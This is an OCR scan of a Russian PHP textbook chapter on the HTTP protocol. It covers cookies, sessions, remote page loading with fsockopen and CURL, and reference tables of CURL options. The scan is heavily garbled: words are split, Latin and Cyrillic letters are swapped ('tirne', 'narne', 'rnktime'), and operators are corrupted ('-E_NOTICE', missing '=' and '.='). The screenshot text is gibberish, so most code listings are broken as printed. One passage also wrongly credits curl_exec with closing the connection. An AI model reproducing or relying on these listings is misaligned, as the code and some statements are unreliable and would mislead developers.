240 Часть 1. Общие вопрось/ Дан ная функция возвращает true при ус пешной установке cookie на маШИ не клиента и fa lse - в противном случае . После того как cookie установл е н, его значение можно получить на всех страницах Web-приложения, обраща­ ясь к суперглобальному массиву $_ СООКIБ И испол ьзуя В качестве кл юча имя cookie. Так как cookie передается в загол овке НТТР-запроса, то вызов функци и setcookie () необходимо размещать до начала вывода информаци и в окно браузера функциями echo (), print () и т. П ., а также до включения в файл HTML-тегов. Работа с cookie без установки времени жизни продемонстриро­ вана в листинге 3.20. ЗАМЕЧАНИЕ Файл для cookie создается тол ь ко в том случае, если выста вляется время жизни cookie; в противном случ ае cookie действует тол ько до ко нца сеанса, то есть до того момента, пока пользовател ь не закроет окно браузера. Листинr 3.20. Подсчет количества обращений к стра нице <?php ?> // Выс тавляем уровень обработки ошибок // (http: //ww w .softtime . ru/ info /articlephp . php?id_a rt icle=2 3) error_reporting (E_ALL & -E _NOT ICE ); // Увеличиваем значение cookie $_COOKIE ['counter ']++; // Устанавлив аем cookie setcookie ("c ounter" , $_COOKIE [ 'counte r' ] ) ; // Выв одим значение cookie echo "Вы посетили эту страницу $_COOKIE[counter ] раз"; Резул ьтат выполнения скр ипта, приведенного в листинге 3.20, показан на рис. 3.5. В листинге 3.20 реализована установка cookie с именем counter, значение которой увеличивается при каждой перезагрузке страницы. Время жизни cookie задается при помощи функций time () ил и mkt ime () (листинг 3.21).
гп ава З. Пр отокол нпр - 241 ВЫ посетил:и эту страницу 5 раз Рис. 3.5 . Подсчет количеств а посещений при помощи cookies Листинr 3.21 . Уста новка cookie с определенным временем жи зни <?php ?> // cookie действительна в течение 10 мин после создания setcookie ("narne", "value ", time () + 600) ; // действие этой cookie прекращается в полночь 25 января 2010 года setcookie ( "narne", "value ", rnktime(0, 0, 0, 1, 2 5, 2010) ); // действие этой cookie прекращается в 18 .00 25 января 2010 года setcookie ("narne", "value ", rnkt ime(18, 0, 0, 1, 2 5, 2010) ); ЗАМЕЧАНИЕ в большинстве современных систем, где время предста вляется 32-битн ым целым числом, допусти мыми являются значения года между 1901 и 2038. Типичной ошибкой при работе с cookie является установка года , выходяще­ го за предел ы этого интервала, например, 21 00. В этом случае cookie будут устанавливаться тол ько как сессионные. Огр аничить досryп к cookie со всех страниц, кроме расположенных в опреде­ ленном каталоге (например, /we b), можно при помощи четвертого параметра (л истинг 3.22).
242 Л истинг 3.22 . Ограничение доступа к cookie <?php setcookie ("name", "value ", tirne () + 600 , "/web " ); ?> Часть 1. Общие вопрось, - Однако и в этом случае каталоги /web/index . php, /webl/page . htrnl И Т. д . будут удо влетворять это му ограничению. Если это нежелател ьно, можн о Ог. раничить обл асть видимости cookie до конкретной страницы, как это проде. монстрировано в листи нге 3.23 . Листинг 3.23. Сужение области видимости cookie <?php setcookie ( "name", "value ", tirne () + 60 0, "/web/ index .php " ); ?> Однако и такой способ в полной мере не решает проблему, так как в это м случае доступ к информации, содержащейся в cookie, может получ ить, к примеру, скрипт /web/ index . php-s cript /ant i_cookie . php. Во избежание доступа с посторонних хостов можно еще более сузить область видимости , задав хост, стран ицы которого имеют доступ к cookie, как это продемонстри­ ровано, например, в листинге 3.24 . Листинг 3.24. Устанавливаем хает, с которого видны cookie <?php setcookie ( "name", "value ", tirne{) + 600, "/", "www. softtirne.ru ") ; ?> Уничтожить cookie можно; установив нулевое время жизни, как это сделано в листинге 3.25. Листинг 3.25 . Удаление cookie <?php setcookie ("пате", "value") ; ?> ЗАМЕЧАНИЕ Следует помнить, что для уни чтожения cookie с ограничениями по каталогу и директо р ии необходи мо выставлять точ но таки е же ограничени я для е го удаления , в противном случ ае он не будет уничтожен .
гла ва З. Пр отокол нттр � 243 Cookie можно установить в обход функции setcookie (), испол ьзуя НТТР· з аголовок Set-Cookie И функцию he ade r () (л истинг 3.26). ЛисТИ НГ 3.26. Ручная отпра вка cookie клиенту <?php $cookie "Set-Cookie : name=va lue ; ". "exp ires=Thu , 30-Aug-2007 13 :00:04 GMT ; " "path=/ ; " . .. dornain=ww w .softtime .ru .. ; heade r($cookie ); ?> Нередко посетител и откл ючают cookies в настрой ках своих брауз еров. Для корре ктной работы в Web-приложение, испол ьзующее cookie, необходимо п омещать код, проверяющий, включены ли cookies у посетителя. Такая про­ ве р ка позволит испол ьзовать другой механизм ауте нтификации, например сессии, или просто позволит вывести сообщение о необходи м ости включить cookies. Пример тако й проверки приведен в листинге 3.27. Листи нг 3.27. Проверка, включен ы ли cookies < ?php // Выс тавляем уровень обработки ошибок // (http: //ww w . softtime . ru /info/articlephp . php ?id_a rticle=2 3) error_reporting ( E_ALL & -E_NOT ICE ); if (!i sset ($_GET ['p robe' ] )) // Устанавливаем cookie с именем "test" if ( setcookie ("test" ,"set ") ); // Отправляем заголовок переадресациИ на страницу , // с которой будет предпринята попытка установить cookie heade r ("Location : $_SERVER [PHP_SELF] ?probe=set") ; else if (!i sset ($_COOKIE ['t est' ]))
244 ?> Часть 1. Общие вопр ось/ -- - echo "Для корректной работы приложения не обходимо включить cookies "; else echo "Cookies включены" ; ЗАМЕЧАНИЕ Суперглобал ьный масси в $ SERVER содержит переменные окружения, ко­ то рые Web-сервер передает скрипту. Среди переменных окружени я наи­ большей популярностью пользуется $_SERVER [ , РНР_SELF ' ] , сообщающая и мя текущего файла. Текущие значени я переменных окружени я можно по ­ смотреть в отчете , формируемом функци ей phpinfo () . в листинге 3.27 дл я проверки корректности работы с cookies при помощи функции setcookie () устанавл ивается проб ное значение cookie. Фун кция setcookie () В дан ном случае принимает два параметра, первый из кото рых представляет собой имя, а второй - значение cookie. Далее осуществляется перегруз ка текущей страницы с передачей через GЕТ-параметр probe зна че­ ния set, тем самым сообщая скрипту, что проверка выпол нена и необходимо проверить, содержит ли что-нибудь элемент $_ COOКIE [ 'test ' ] . Есл и дан ный элемент не установлен - cookies отключены, есл и он содержит значе ние ­ включены. 3.2.2. Работа с сессия ми Сессия во многом походит на cookie и представляет собой текстовый файл, хранящий пары кл юч/значение, но уже не на машине кл иента, а на сервере. Во многих случаях сессии являются более предпочтител ьным вариантом, че м cookies. Так как на сервере скапл ивается большое кол ичество файлов, принадлежа­ щих сессиям разных клиенто в, то для их иденти фикации каждому ново му кл иенту назначается уникальный номер - идентификатор сессии (SID), ко­ то рый передается либо через строку запроса, либо через cooki e, есл и они дос-
гла ва З. Пр отокол нттр :- --- 245 тупНЫ. К недостаткам сессий относ ится невозможность контроля времени их )I(ИЗ НИ из РНР-скриптов, так как этот параметр задается в ко нфигурационном файле рl1 р.iпi директивой session . cookie_lifetime . ЗА МЕЧА НИЕ Оба механизма, сессии и cookies, взаимно дополняют друг друга . Cookies хранятся на машине посетителя, и продолжител ьность их жизни определя­ ет разработчик. Обычно они применяются для долгосрочных задач (от не­ скол ьких часов) и хранения информации, кото рая относится исключительно к конкретному посетителю (л ичные настройки, логины, пароли и т. п .) . В свою очередь, сессии хранятся на сервере, и продолжительность их су­ ществования (обычно небольшую) определяет адм инистратор сервера. Они предназначены для краткосроч ных задач (до нескол ьких часов) и хра­ нения и обработки информации обо всех посетителях в целом (кол ичество п осетителе й оп-liпе и т. п.) . Поэто му использовать тот или иной механизм сл едует в зависимости от преследуемых целей. ЗАМЕЧАНИЕ Директива session. save_path В ко нфигурационном файле рhр.iпi позволяет задать путь к каталогу, в котором сохраняются файлы сессий; это может быть удобным для отладки Web-приложений на локал ьном сервере. Если данная директива не задана, сессии хранятся в операти вной памяти сервера. Сессия инициируется при помощи функции session_s tart (), которая имеет следующий синтаксис: boo l session_s tart () Функция возвращает true В случае успеш ной инициализаци и сессии и fal se - В противном случае . Для р аботы с сессией функция s e ssion_s tart ( ) должна вызываться на каждой странице, где происходит обраще ние к переменным сессии. ЗАМЕЧА НИЕ Точ но так же , как и функция setcookie (), функция session start () должна вызываться до начала вывода информации в окно браузера, так ка к уникальный идентификатор сессии SID зачастую передается через cookie, то есть посредством НТТР-заголовка Set-Cookie. После инициализации сессии появляется возможность сохранять информа­ цию в суперглобальном массиве $_SESSION. В листи нге 3.28 на странице index . php в массив $_ SESSION сохраняется переменная и массив.
246 Часть 1. Общие вопрось/ - Листинг 3.28 . Помещаем да нные в супергло6альный массив $_SESSION <?php ?> / / Инициируем се ссию session_s tart () ; // Помещаем значение в сессию $_SESSION[ 'naтe'] = "va1ue "; // Помещаем массив в сессию $arr = array ("first" , "second" , "third" ); $_SESSION['a rr '] = $arr ; / / Выводим ссылку на другую страницу echo "<а hrе f=оthе r.рhр>другая страница</а>" На страницах, где происходит вызов функци и session start (), значе ния дан ных переменных можно извлечь из суперглобального массива $_SESSION . В листинге 3.29 такая возможность доступна на странице other . php. Листинг 3.29 . Извлечение да нных из суперглобального массива $_SESSION <?php ?> / / Инициируем с е ссию session_s tart () ; // Выв одим содержимо е суперглобального ма ссива $_SESSION echo "<pre>"; print_r ($_SESSION) ; echo "</pre> "; Результат работы скрипта: Array [пате ] => va1ue [ап] => Array [О] => first [1] => second [2] => third
гл ава 3. Протокол нпр :.- --- 247 ЗаверШИТЬ работу сессии можно вызвав функцию session_destroy (), кото­ рая имеет следующий синтаксис : boo1 session_de stroy() функция возвращает true при успешном уничтожении сессии и false - В против но м случае. Если достаточно не уничтожать текущую сессию, а лишь оБНУЛИТЬ все значения, хранящиеся в сессии, следует вызвать функцию s e s s ion_uns e t (), которая уничтожит все элементы в суперглобальном мас­ сиве $ _S ESSION текущей сессии. Данная функция точно так же, как и функ­ ЦИЯ s e s sion_de stroy (), не принимает ни одного параметра и возвращает tru e в случае успеха и false - в случае неудач и. Если требуется уничтожить какой-то один элемент в суперглобал ьном мас­ сиве $ S ESSION, то следует испол ьзовать функцию uns et (): uns et ($_SE SSION ['пате ']) Еще одной полезной функцией является функция session id (), позволяю­ щая узнать текущий идентификатор сессии или задать собственный иденти­ фикатор и имеющая следующий синтаксис: string session_i d( [$id ]) Фун кция возвращает текущий идентификатор сессии. Необязательный пара­ м етр $id позволяет задать собственный идентификатор сессии, который должен состоять из строчных или прописных букв лати нского алфавита и цифр. При задании собственного идентификатора функция session_i d () должна вызываться до функции session_s tart () (л истинг 3.30). Листинг 3.30. Узнаем текущий иде нтификатор сесиии <?php ?> // Иници и руем сессию session_s tart () ; // Узнаем текущий идентификатор сессии echo session_id () ; Возможным результатом работы скрипта в листинге 3.30 может быть строка: а2 7е8с4724fО7сае 91Зс50е55сеаlЬЗ 8
248 Часть 1. Общие вопрось/ -- 3.3. Сокеты и CURL Иногда РНР-скрипты выступают не тол ько с сервера, но и со стороны кл иен_ та, обращаясь к удаленным страницам. Самый простой способ реал изаЦИI1 такого обращен.ия - воспользоваться файловыми функциями, как это п ро­ демонстр ировано в листинге 3.31. Листинг 3.31 . Загрузка стра ницы с удаленного хоста (вариант 1) <?php ?> // Загружаем страницу с удаленного хоста $content = file_get_cont ents ( ..http : //www . softtirne . ru/ .. ); // Сохраняем содержимое страницы в файле $fd = fopen ("url .txt ", "w") ; fw rite ($fd, $content) ; fclose ($fd) ; в резул ьтате работы скрипта из листи нга 3.31 содержи мое индексной стр а­ ницы сайта http ://www .softtime,ru будет сохранено в файле uгl .txt. Функция file_g et_cont ents () является достаточно удобной и возвращает содержи­ мое локального или удаленного файла в виде строки . Функция появилас ь в РНР, тол ько начиная с версии 4 . 3 .0. Для более ранних версий необход и мо использовать связку функций fopen () и fgets ( ) (л истинг 3.32). Листинг 3.32 . За грузка страницы с удаленного хоста (вариант 2) <?php // Получаем дескриптор удаленной страницы $fd = fopen ( ..http: / /www. softtirne .ru/ .. . "r") ; if (!$fd) ехit ( "Запрашиваемая страница не найдена " ); $content = ""; // Чтение содержимого файла в переменную text wh ile (!feof ($fd) ) $content fgets ($fd, 102 4) ; } // Закрыть открытый указатель файла fclose ($fd) ;
гл ава З. Пр отокол нттр -- ?> / / Сохраняем содержимое страницы в файле $fd '" fopen ("url . txt", "w") ; fwrite($fd, $content ) ; fclose ($fd) ; 249 В данном случае загрузка страницы осуществляется при помощи функции fgets (), которая построчно извлекает из файла данные. Второй параметр указыв ает максимал ьное кол ичество данных, сч итываемых за раз. Как прави­ ло, стр ока не превышает 1024 символа, поэтому данный параметр можно ос­ тавить без изменений. Разумеется, загрузка файла во втором случае протекает медл ен нее, так как скрипту необходимо выполнять РНР-цикл, выполняем ый и нте рп ретато ром, а не бинарный код функции file_get_cont ents ( ) , создан­ ной при помощи языка С. Однако второй подход имеет преимущества при з агруз ке больших файлов: дел о в то м, что для РНР-скрипта отводится строго о гран и ченный объем памяти,. который задается в ко нфигурационном файле рh р . i п i директи вой memo ry_l imit. Дан ная директива обычно принимает зна­ чен и е 8 ил и 16 МбаЙт. Этот объем отводится как под сам РНР-скр ипт, так и под все используемые в нем переменные и массивы. Таким образом, если разр аботч ик имеет дело с файлом размером 1 О Мбайт и содержи мое этого файл а будет полностью считано в переменную, над такой переменной невоз­ м ожно будет выполнить даже операции замены, так как для этого потребует­ ся 20 МбаЙт. Подход, испол ьзуемый в листинге 3.32, предоставляет возмож­ н ость обрабатывать файл построчно, не загружая пол ностью его содержимое в о бласть памяти, отводимой для скрипта. Файловые функции достаточно эффективны, однако удаленный сервер может о п редел ить, что к нему обращается не посетител ь посредством браузера, а скр ипт, потребовав установить cookies, проверить переменную окружения USER_AGENT, через которую клиент передает тип и версию барузера и опера­ цио нной системы, и т. п. Разумеется, стандартные файловые системы не пре­ до ставляют такой информации - дл я полной эмуляции работы браузера не­ обходимо воспользоваться либо сокетами, либо специальной библиотекой CURL. 3.3.1 . Сокеты Файл овые функции не всегда удобны, так как удаленный хост может быть опти мизирован для работы с браузером, который должен поддерживать все особе нности НТТР-протокола. В этом случае прибегают к сокетам . Подкл ю-
250 Часть 1. Общие вОПРОCl,1 - чение к удаленному серверу можно осуществить с помощью ФУНКЦИИ fsockopen (), которая имеет следующий синтаксис: resource fsockopen ($target , $port [,$e rrno [,$errstr [,$time out] ]]) Функция принимает пять параметров, первый из которых содержит адрес соединения, а второй - номер порта. В случае удачи функция возвращает дескриптор соединения $sock, в противном случае - значение false. Если при это м функции переданы два необязательных параметра $errno и $errstr, В них размещается код и текстовое описание ошибки соотвеТСтвен_ но. Пяты й, также необязательный параметр - значение тайм-аута, опреде_ ляющего максимальное время ожидания ответа сервера в секундах. При ус­ пешной установке соединения функция возвращает дескриптор соединения , при неудаче - false. Пример работы с функцией fsockopen () приведен в листинге 3.33, где про­ исходит загрузка гл авной страницы портала http ://www.php.net. Листинг 3.33 . Пример использования функции fsockopen О <?рЬр function get_content ($h ostname , $path ) $line = "" ., // Устанавливаем соединени е , имя которого // пер едано в параме тре $hostname $fp = fsockopen ($hostname , 80, $errno , $errstr, ЗО) ; // Пр оверяем успешность установки соединения if (!$fp) echo "$errstr ($errno ) <br />\п" ; else // Формируем НТТ Р-запрос для пер едачи // его серверу $headers = "GET $path HTTP/l . l\r\n" ; $headers "Host : $hostname \r\n" ; $heade rs . = "Connection : Close\r\n\r\n" ; // Отправляем НТТР-запрос с ерверу fwrite ($fp, $headers ); // Получаем отве т whi le (!feof ($fp) )
гл ава З. Протокол нттр -- ?> $1ine .= fgets ($fp, 1024) ; fc10se ($fp) ; return $1ine ; $hostname = ..ww w .php .net..; $path = "/"; / / Ус танавливаем большее время работы // скрипта - пока ВСЯ страница не загружена, // она не будет отображена s et_time_1 imit (180) ; // Вызываем функцию echo get_content ($hostname , $path) ; 251 При работе с сокетами мы вынуждены брать на себя всю черновую раб оту по отпр авке серверу НТТР-запросов, получению и обработке ответо в на них. В пр иведенном выше скрипте обращение к fsockopen () оформлено в виде функции get_content (), которая получает два параметра: $hostname - имя сервера, с которым устанавл ивается соединение, и $path - путь к странице относительно имени сервера. ЗА МЕЧАНИЕ Следует помнить, что при работе с функцией fsockopen () имя сервера не должно содержать префикса http://, указывающего на тип протокола и ста н­ дартн ый порт 80. При работе с сокета ми реализация протокола ложится на плечи программиста , а порт указывается во вто ром параметре функци и fsockopen (). После устан овки соединения с сервером в переменной $heade rs формируется НТТР-запрос серверу по методу ОЕТ. При подстановке значений всех пере­ менных серверу будут отправлены соответствующие заголовки (л ис­ тинг 3 .34). Листинг 3.34. Заголовки, отправляемые серверу www. php.net GET / HTTP/l. l\r\n Host: ww w .php . net\r\n Connect ion : C1ose\r\n\r\n
252 Часть 1. Общие вопрось/ - После отп равки запроса функцией fgets ( ) производится чтение ответа I1з сокета бл окам и по 1024 байта до тех пор, пока не встретится символ КО НЦа файла, определяемый функцией feof ( ) . Затем резул ьтат возвращается и BbI. водится В окно браузера. ЗАМЕЧАНИЕ Из-за ошибки в реализации обращение через сокеты по протоколу НТТР/1 . 1 в операционной систе ме Windows выполняется медленно, поэто му в н ей зачастую удобнее использовать прото кол НТТР/1 .0 . в первой строке листинга 3.34 у сервера запраш и вается индексный файл корневого каталога сервера (/) методом GET по протоколу HTTPI1 .1 . нттр. заголовок Ho st является обязател ьным, он необходим НТТР-серверу для оп. ределения сайта, запрашиваемого клиенто м (на тот случай, если к одному IP. ад ресу привязано нескол ько до менных имен). Последний НТТР-загол о во к Conne ction требует от сервера закрыть соединение после передач и дан ных. РНР 15 а widely-u5ed gёiiегаl-рuгрО5е 5crl ptlng language ; that 15 especlally . . 5u lted for Web .J___ ! {n·Oct- 20аS} Р.НР 4.4.1 is 11 0W : aya ilabIe for dovm!oad. Тll is : version is а mal ntenal1ce release, i' that conta ins numeГOllS bug fixes, wz1bIIfJ"/-1f'9 -v� 'Нl: PtA(l: 1(fS( ll,.ltRyyJtl' двоит 'VCDНйS ТL'Ю Рис. 3 .6. Просмотр портала ww w .p h p.net с локального хоста
глава З. Протокол нттр -- 253 ЗА МЕЧАНИЕ вместо / можно передать адрес страницы на сервере, например, /downloads.php, в результате чего будет загруже на другая страница сай­ та - именно так и действуют браузеры. При переходе пользователей по ссылке они извлекают часть адреса после доменного имени и передают НТТР-запрос, подставив эту часть после ключевого слова GET. Эти тр и строки эквивалентны запросу в окне браузера http ://www.php.net/. результат работы скрипта из листинга 3.33 приведен на рис. 3.6 . В начал е страницы идут НТТР-заголовки, которые браузер обычно скрывает оТ п ол ьзователя, после чего начинается тело ст раницы, кото рое инте рпрети­ руется браузером. Избавиться от НТТР-заголовков можно п ри п омощи фу нкции strstr (), которая возвращает часть строки (первый параметр), на­ ч иная с первого вхожде ния подстроки (второй параметр) (л исти нг 3.35). [31 - 0<:/:-2005] РН Р 4.4 .1 is now ava i.labIe for do�·m load. тtl is vегsiоп is а mаiпtепапсе ,"e lease, tl1 at co nta ins лumегоus bug fixes, ����� � � � +�$!.9l! 'n�Q�. � �� . of secu rit.�v� ���!!!;!����j;;J Рис. 3 .7 . Удаление меша ющих НТТР-заголовков Листинr 3.35 . Удаление НТТР-заголовков <?php $hos tnarne ..ww w . php .net..;
254 Часть 1. Общие вопрось/ -- ?> $path = "/"; / / Уст анавливаем большее BP� работы скрипта - // пока вся страница не будет загружена , // она не буде т отображена set_time_limit (180) ; // Вызываем функцию $content = get_content ($hostname, $path) ; echo strstr ($content , '<'); Результат работы скрипта из листинга 3.3 5 представлен на рис. 3 . 7. Несмотря на то, что скрипт загружает страницу с портала http://www.php .net. адресная строка указ ы вает на скрипт, расположе нный на локальном хосте . Таки м об­ разом, в качестве брауз ера выступает РНР-скрипт. 3.3 .2 . Библиотека CURL Помимо сокетов, обеспечивающих низкоуровневое обращение к серверу, РНР располагает специальным расширением CURL (Client URL Library). В листинге 3 .3 6 представлено альтернативное решение задачи с использован и­ ем расширения CURL, полностью эквивалентное решению из листинга 3 .35 . ЗА МЕЧА НИЕ В случ ае расширения CURL не требуется удаление НТТР-заголовков, воз­ вращаемых сервером, та к как б иблиотека их удаляет по умолчанию. Одна­ ко CURL можно настроить на выдачу НТТР-заголовков, передаваемых сер­ вером, если установить при помощи функции curl_setopt () ненулевое значение параметра CURLOPT_HEADER (см . табл. 3 .8). Листинг 3.36. Загрузка страницы с использованием расширения CURL <?php // Задаем адре с удаленного с ервера $curl = curl_init ( ..http : //ww w .php.net.. ) ; // Устанавливаем параме тры соединения curl_s etopt ($curl , CURLOPT_RETURNTRANS FER , 1) ; // Получаем содержимое с траницы $cont ent = curl_exec ( $curl) ;
гл ава з. Протокол нттр ;. .---- ?> / / Закрыв аем СURL-соединение cur1_c1ose ( $cur1) i echo $content i 255 при ПОМО ЩИ функции cur 1_init () задается адрес удаленного сервера и путь к файлу на нем. В отличие от функции fsockopen (), необходимо задавать адрес п ол ностью, включая префикс http ://, так как расширение CURL позво­ ляет работать с нескол ькими видами протоколов (НТТР, HTTPS, FTP). Есл и соединен ие с указанным сервером происходит успешно, функция c ur1_ in it () возвращает дескриптор соединения, который испол ьзуется в качестве параметра во всех остальных функциях библиотеки. Функция cur1_s etopt () позволяет задать параметры текущего соеди нения и имеет следующий с интаксис: Ьоо1 cur1_s etopt ($cur1 , $option, $va1ue ) Функция устанавливает для соединения, имеющего дескриптор $cur1, пара­ метр $option со значением $va1ue. В качестве параметра $option испол ьзу­ ютс я константы , определенные в табл . 3.8-3 .12. Есл и парам етр успешно ус­ тановлен, функция возвращает true, В противном случае возвращается з начение fa1se. Зап рос выполняет функция cur1_exec (). в листинге 3.36 содержимое запра­ шиваемой стр аницы возвращается в виде строки $content (такое поведение оп ределяется константой CURLOPT_RETURNTRAN SFER, установленной ранее при пом ощи функции cur1_s etopt () . в завершение функция cur1_exec () закрывает установленное ранее CURL­ соединение. Та блица 3.8. Ло гические параметры СURL-соединения Параметр Описа ние CURLOPT AUTORE FERER П ри уста новке этого параметра в true, - если осуществляется следо вание НПР- заголовку Location, НПР-заголовок Refe rer устанавливается авто матически CURLOPT COOKIESESSION П ри установке этого параметра в true - CURL игнорирует все сессионные cookie (хранящиеся в оперативной памяти и лишь до момента закрытия браузера)
256 Парамет р CURLOPT CRLF CURLOPT_DN S_USE_GLOBAL_CACHE CURLOPT FA ILONERROR - CURLOPT FILET IME - CURLOPT FOLLOWLOCAT ION - CURLOPT_FORB ID_REUSE CURLOPT FRE SH CONNECT - CURLOPT FT PAPPEND CURLOPT FT PASCII - CURLOPT FT PLISTONLY - Часть 1. Общие в опрос/,/ - Табл uца З. 8 (пр одолжеНие) - Описа ние П ри уста новке этого параметра в true UNIХ-переводы строк \п автоматически преобразуются к виду \r\n При установке этого параметра в true ис- пользуется гл обальный DNS-кэш При установке этого параметра в true п о- лучение НТТР-кода более 300 сч итается ошибкой П ри установке этого параметра в true CURL пытается получить дату последней мод ификации загружаемого документа При установке этого параметра в true при получении НТТР-заголовка Locat ion будет происходить перенаправление на указан- ный эт им заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка Locat ion) При уста новке этого параметра в true СURL-соединение завершается сразу после выполнения функции curl_exec () ; повторное использование дескриптора соеди нения не допускается При установке этого параметра в true для повторной операции curl_exec () CURL требует созда ния нового соедине- ния, не используя кэш ированное При уста новке этого параметра в true данные будут добавляться к файлу на FTP сервере, в проти вном случае файл будет перезаписан П ри установке этого параметра в true данные с FTP-сервера будут передаваться не в бинарном, а в тексто вом (ASCII) виде При уста новке этого параметра в true будет получен список файлов в текущей директории FTP-сервера
а 3 протокол нттр � 257 Та бл ица 3.8 (продолжение) Параметр Описание 1.- -- C U RLO P T_HEADER При установке этого параметра в true ре- зультат будет включать полученные НТТР- заголовки C U RLO PT_HTTPPROXYTUNNEL При установке этого параметра в true данные будут передаваться через прокси- сервер CURLOPT_MUTE При уста новке этого параметра в true все сообщения CURL будут подавляться CURLO PT NETRC При уста новке этого параметра в true бу- дет осуществлена попытка найти имя пользователя и пароль к удаленному сер- веру в файле -/пеtгс (где - - домашний каталог) CURLOPT_NOBODY При уста новке этого параметра в true ре- зультат не будет включать документ. Ч асто используется для того , чтобы получ ить тол ько НТТР-загол овки C URLOPT_N OPROGRE SS При установке этого параметра в true не будет выводиться индикатор прогресса операции (по умолчанию уста новлен) CURLOPT POST При установке этого параметра в true от- - правляется РОSТ-за прос ти па application/x- ww w -foгm-uгlencoded CURLOPT рот При установке этого параметра в t rue бу- - дет производиться закачка файла методом PUT протокола НТТР. Ф айл задается па- раметрами CURLOPT_I NFI LE и CURLOPT_INFILESIZE. Впрочем, метод PUT на большинстве серверов запрещен к ис- пользованию CURLOPT RETURNTRANSFER При уста новке этого параметра в true - CURL будет возвращать резул ьтат, а не выводить его
258 Параметр CURLOPT SSL VERI FYPEER CURLOPT UPLOAD CURLOPT VERBOSE Описание Часть 1. Общие вопрос", -- Та блица 3.8 (окончание) При установке параметра в false запреща­ ется проверка сертификата удаленного сер­ вера. Допол н ител ьные сертификаты можн о задать с помощью параметра CURLOPT_CAINFO. Можно также указать путь к файлам сертификатов в параметре CURLOPT САРАТН . Если CURLOPT_S S L_VERIFYPEER установлен в О, возможно, потребуется установить в 1 или О также CURLOPT_S S L_VERI FYHOST (по умол­ чанию 2) П ри установке параметра в true имя поль­ зователя и пароль сохраняются и переда ют­ ся серверу при следовании НПР-заголовку Location, даже если осуществляется пере­ ход на другой сайт При установке этого параметра в true про­ изводится закачка файла на удаленный сервер При установке этого параметра в true вы­ водятся подробные сообщения обо всех производимых действиях Та блица 3. 9 . Целочuсленные параметры СURL-соед иненuя Параметр Описание CURLOPT BUFFERS IZE Размер буфера, используемого для чтения - документа с удаленного сервера CUR LOPT CONNECTT IMEOUT Количество секунд перед попыткой соедине- - ния с сервером. По умолчанию имеет значе- ние О CURLOPT DNS САСНЕ TIMEOUT Количество секунд, в течение которых хра- - - - нится запись в DNS-кэше . По умолчанию имеет значение 120 (2 минуты)
гл ава З. Протокол нттр -- .- - параметр 1- CURLOPT_HTTP_VERSION CURLOPT_HTT PAUTH CURLOPT_INFILESIZE CURLOPT_LOW_SPEED_LIMIT CURLOPT_LOW_S PEE D_T IME CURLOPT МAXCONNECTS - CURLOPT МAXRE DIRS - CURLOPT PORT - CURLOPT PROXYAUTH - CURLOPT PROXY PORT - 259 Та блица 3.9 (продолже ние) Описание Версия НПР-протокола; допустимы три зна- чения: CURL_HTT P _VERS I ON_NONE (версия выбирается авто матически), CURL_HTT P_VERS ION_l_O (испол ьзуется НПР 1.0), CURL_HTT P_VE RS ION_l _l (используется НПР 1.1) Метод(ы) НПР-аутентификации; допусти- мые значения: CURLAUTH_BAS IC, CURLAUTH_D IGEST, CURLAU TH_GSSNEGOT IATE, CURLAUTH_NTLM, CURLAUTH_ANY И CURLAUTH_AN YSAFE Размера файла при его загрузке на удален- ный сервер Минимальная скорость передачи в байтах в секунду. Если в теч ение периода времени, заданного параметром CURLOPT_LOW_S PEED_T IME, скорость пере- дачи ста нет меньше этого значения, опера- ция будет прервана Время в секундах, в течение кото рого ско- рость передач и должна быть не ниже , чем CURLOPT_LOW_S PEED_LIMIT, чтобы операция была признана сл ишком медленной и пре- рвана Максимальное количество постоя нных соединений Максимальное количество переходов по за- головку Location. П араметр используется совместно с CURLOPT FOLLOWLOCAT ION Альтернати вный номер порта для соединения Метод(ы) аутентификации на прокси- сервере; принимает те же значения, что и параметр CURLOPT_HTTPAUTH Номер порта для соединения с прокси- сервером; используется совместно с CURLOPT PROXY -
260 Параметр CURLOPT PROXYTYPE CURLOPT SSL VE RI FYHOST CURLOPT SSLVERS ION CURLOPT TIMECONDITION CURLOPT TIMEOUT CURLOPT TIMEVALUE Часть 1. Общие вопрось/ Таблица 3.9 (окончание) Описание Тип прокси-сервера: устанавливать соеди­ нение через НТТР-протокол (CURLPROXY_HTTP) или через со кет (CURLPROXY_S OCKS5) Задает в файле позицию байта , с которого начнется передача да нных Строгость проверки имени, указа нного в сер­ тифи кате удаленного сервера (при уста новке SSL-соединения): 1 - пред полагает только проверку существования имени; 2 - кроме того , и проверку соответств ия имени хоста Версия SSL; допусти мые значения 2 и з. П о умолчанию версия SSL определяется авто ­ матически , но в некоторых случаях требует­ ся явное указание Способ инте рпретации значения параметра CURLOPT_TIMEVALUE. Допусти мые значения: TIMECON D IFМODSINCE и TIMECOND - ISUNMODS INCE. П ри меняется тол ько для прото кола нттр Максимальное время выполнения операци и в секундах Время в секундах, прошедшее с полуночи 1 января 1970 г. Значение будет использо­ вано в соответств ии со значением парамет­ ра CURLOPT_T IMECONDITION (по умолчанию TIMECON D_ I FMODS INCE) Та блица 3. 10. Сmроковые параметры СURL-соед uненuя Параметр Описа ние CURLOPT CAINFO ИМЯ файла, содержащего оди н или более - сертификатов, кото рые будут использованы при проверке подлинности удаленного сер- вера. И меет значение только совместно с параметром CURLOPT_S SL_VE RI FY PEER
гла ва З. Протокол нттр -- .- - Пара метр � CURLOPT_CAPATH � CURLOP':F_COOKIE C URL OPT_COOKIEFILE CURLOPT COOKIEJAR - CURLOPT_ CUSTOMREQUE ST CURLOPT ENCODING CURLOPT FT PPORT - C URLOPT INTERFACE - CURLOPT KRB 4LEVEL - 261 Таблuца 3. 10 (продолже ние) Описание Путь к директории с сертифи катами. Имеет значение тол ько совместно с параметром CURLOPT SSL VERI FY PEER - Содержи мое НТТР-заголовка СооНе. Для установки нескольких значений cookie можно использовать нескол ько вызовов функции curl setopt () - ИМЯ файла, содержащего да нные cookie. Данные могут б ыть либо в формате Netsca pe, либо НТТР-заголовков ИМЯ файла, в который сохраняются не сес- сионные cookie, доступные при следующем сеансе соеди нения с сервером Метод , который будет использован в НТТР- запросе вместо GET или НЕАD. Используется для отправки запросов DELETE или других, редко используемых. Допустимыми значе- ниями являются GET, POST, И т. д. Значение НТТР-заголовка Ac cept- Encoding, зада ющего метод сжатия НТТР- ответа . Допусти мые значения: ident ity, de flate, gzip Значение IP-аАреса для команды PORT про- токола FTP. Допусти мые значения: IP-аАрес, имя хоста , имя сетевого инте рфейса (под UNIX) , или просто '-' для использования IP-аАреса по умолчанию ИМЯ испол ьзуемого сете вого инте рфейса. Может быть именем интерфейса, IP-аАресом или именем хоста Уровень безопасности 